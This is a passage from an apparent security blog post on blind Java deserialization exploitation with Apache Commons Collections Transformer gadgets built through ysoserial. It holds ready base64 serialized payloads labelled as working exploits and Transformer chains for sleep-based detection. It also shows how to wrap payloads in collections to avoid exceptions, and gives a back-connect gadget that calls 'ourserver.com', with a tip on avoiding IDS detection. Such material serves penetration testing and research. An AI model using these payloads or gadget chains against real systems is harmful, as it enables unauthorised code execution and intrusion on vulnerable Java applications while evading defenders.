&lt;h2 id=&quot;server&quot;&gt;Payload builder &amp;amp; exploitation&lt;/h2&gt;

&lt;p&gt;It’s not necessary to understand the whole principle of Java Deserialization vulnerability in order to understand this article.
For those unfamiliar with all the technical details it is safe to assume the upper payload is constructed (by &lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt; tool) in such a way
the deserialization leads to executing the top &lt;a href=&quot;#transformers&quot;&gt;Transformer&lt;/a&gt; object which is serialized in the payload.
Transformers can contain other transformers and with this we construct a useful exploitation gadget.
If you want to know more, I recommend &lt;a href=&quot;http://gursevkalra.blogspot.cz/2016/01/ysoserial-commonscollections1-exploit.html&quot;&gt;Understanding ysoserial’s CommonsCollections1 exploit&lt;/a&gt; and
&lt;a href=&quot;https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#exploitdev&quot;&gt;What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In this article we present ideas of exploitation in restricted environment. We state gadgets that we deem
useful and that are possible to express in a chain of Transformers. The transformation of the code to the
Transformer chain is demonstrated.&lt;/p&gt;

&lt;p&gt;For practical demonstration of this blind approach see the &lt;a href=&quot;https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html&quot;&gt;part2&lt;/a&gt; of our blogpost.&lt;/p&gt;

&lt;h2 id=&quot;gadgets&quot;&gt;Gadgets&lt;/h2&gt;
&lt;p&gt;The sleep gadget is very nice to detect if the system is vulnerable to a given class of exploits.
So instead of running &lt;code class=&quot;highlighter-rouge&quot;&gt;calc.exe&lt;/code&gt; (as &lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt; uses for demo) we do &lt;code class=&quot;highlighter-rouge&quot;&gt;Thread.sleep(7000);&lt;/code&gt;. If the system is vulnerable,
the page sleeps for a while. Bam.&lt;/p&gt;

&lt;p&gt;Gadget for sleep:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ConstantTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Thread&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;getMethod&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;&quot;sleep&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Long&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;TYPE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;invoke&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7000L&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Working payload for Commons1 exploit:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEGphdmEubGFuZy5UaHJlYWQAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AAVzbGVlcHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAARsb25nAAAAAAAAAAAAAAB4cHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAFzcgAOamF2YS5sYW5nLkxvbmc7i+SQzI8j3wIAAUoABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAAAAG1h0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgARdnIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHNxAH4AFnB0AAtuZXdJbnN0YW5jZXBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAQdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;terminating&quot;&gt;Terminating the transformer chain&lt;/h3&gt;
&lt;p&gt;The Commons1 Transformer gadgets have a typical structure (by &lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt;):&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;doSomethingTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ConstantTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The final &lt;em&gt;&lt;a href=&quot;#ConstantTransformer&quot;&gt;ConstantTransformer&lt;/a&gt;&lt;/em&gt; causes an exception during deserialization (after our payload executes). You may want it like
this. But if you want the page to load successfully in some cases, the exception is not desirable. The upper gadget layer expects a Set
object (gets Integer - exception). To avoid the exception, the last chain should create a set instance:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ConstantTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;util&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;HashSet&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;newInstance&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;wrapping&quot;&gt;Wrapping in collections&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt; tool generates payloads which, after deserialization, are seen as &lt;code class=&quot;highlighter-rouge&quot;&gt;sun.reflect.annotation.AnnotationInvocationHandler&lt;/code&gt;.
If you deserialize the example payload from the above, it will be of this type.&lt;/p&gt;

&lt;p&gt;If your vulnerable application expects a collection, it usually throws ClassCastException.
You can actually avoid this ClassCastException by wrapping the payload inside a collection to let the application feel OK and
still execute our payload during deserialization.&lt;/p&gt;

&lt;p&gt;For example if an application expects a List, we can construct a List and add the payload as another list element.
It still gets executed, but without an exception being thrown (if we are lucky and the application ignores unknown elements).&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAADdwQAAAADc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF0AAtIZWxsbyB3b3JsZHNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AAZzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEGphdmEubGFuZy5UaHJlYWQAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AAVzbGVlcHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAARsb25nAAAAAAAAAAAAAAB4cHQACWdldE1ldGhvZHVxAH4AJAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ACRzcQB+ABx1cQB+ACEAAAACcHVxAH4AIQAAAAFzcgAOamF2YS5sYW5nLkxvbmc7i+SQzI8j3wIAAUoABXZhbHVleHEAfgADAAAAAAAAG1h0AAZpbnZva2V1cQB+ACQAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAhc3EAfgAXdnIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHNxAH4AHHB0AAtuZXdJbnN0YW5jZXBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAQdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AP3g=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The payload gets executed during deserialization. After that, the resulting type is &lt;code class=&quot;highlighter-rouge&quot;&gt;LinkedList&lt;/code&gt; with contents:
&lt;code class=&quot;highlighter-rouge&quot;&gt;[1, Hello world, sun.reflect.annotation.AnnotationInvocationHandler@345dc05c]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It gets even better if the application serializes a &lt;code class=&quot;highlighter-rouge&quot;&gt;Map&lt;/code&gt; (e.g., settings). You can sneak payload to the HashMap
under a key the application does not use. In that case, the payload gets executed and the application does not throw an exception.&lt;/p&gt;

&lt;p&gt;Our modified version of &lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt; demonstrates how to wrap payload in other structures.&lt;/p&gt;

&lt;h3 id=&quot;backconnect&quot;&gt;Back connect gadgets&lt;/h3&gt;
&lt;p&gt;In order to test if the system is firewalled or if it is allowed to make connections to the internet we can
construct the following gadget:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;Socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getConstructor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;TYPE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;newInstance&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ourserver.com&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;sendUrgentData&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xdd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Converted to Transformer chain:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ConstantTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;getConstructor&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                    &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;TYPE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;newInstance&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                    &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;sendUrgentData&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                    &lt;span class=&quot;nc&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;TYPE&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;
                    &lt;span class=&quot;mh&quot;&gt;0xdd&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With this gadget, we can send some static data to our server. On ourserver.com we trace
incoming packets. If a new TCP connection from our target host is made with Urgent flag and 0xdd byte, we know
the JVM is allowed to connect to the remote host.&lt;/p&gt;

&lt;p&gt;The &lt;em&gt;sendUrgentData&lt;/em&gt; part is optional. The firewall may be configured to drop/log Urgent data, so without the urgent data, 
we may avoid detection by the IDS. The socket should still make the TCP handshake - visible in packet trace.&lt;/p&gt;

&lt;p&gt;It would also be nice to call the following gadget to write to the output stream directly:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;Socket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getConstructor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Integer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;TYPE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;newInstance&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ourserver.com&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getOutputStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xdd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But this is not possible due to the limitation of reflection invocation properties of &lt;a href=&quot;#InvokerTransformer&quot;&gt;InvokerTransformer&lt;/a&gt;.
For more info why it’s not possible read this article till the end :)
(TL;DR: the output stream returned is actually SocketOutputStream which is package-local - the write() method cannot be called this way).&lt;/p&gt;

&lt;h3 id=&quot;classloader&quot;&gt;Classloading gadgets&lt;/h3&gt;
&lt;p&gt;This very simple gadget tries to load a class defined by a fully specified class name.
If the loading of such class ends with an exception, we know it was not found by the Classloader.&lt;/p&gt;

&lt;p&gt;If a vulnerable app behaves differently on exception, it’s straightforward. Otherwise, 
we adapt the payload to Sleep after loading the class - if the class exists on the classpath, the exception is not thrown and Sleep
will get executed.&lt;/p&gt;

&lt;p&gt;Classloading gadget can be used to detect if a library is present on the system or to detect the major Java version running the application.&lt;/p&gt;

&lt;p&gt;The gadget is:&lt;/p&gt;

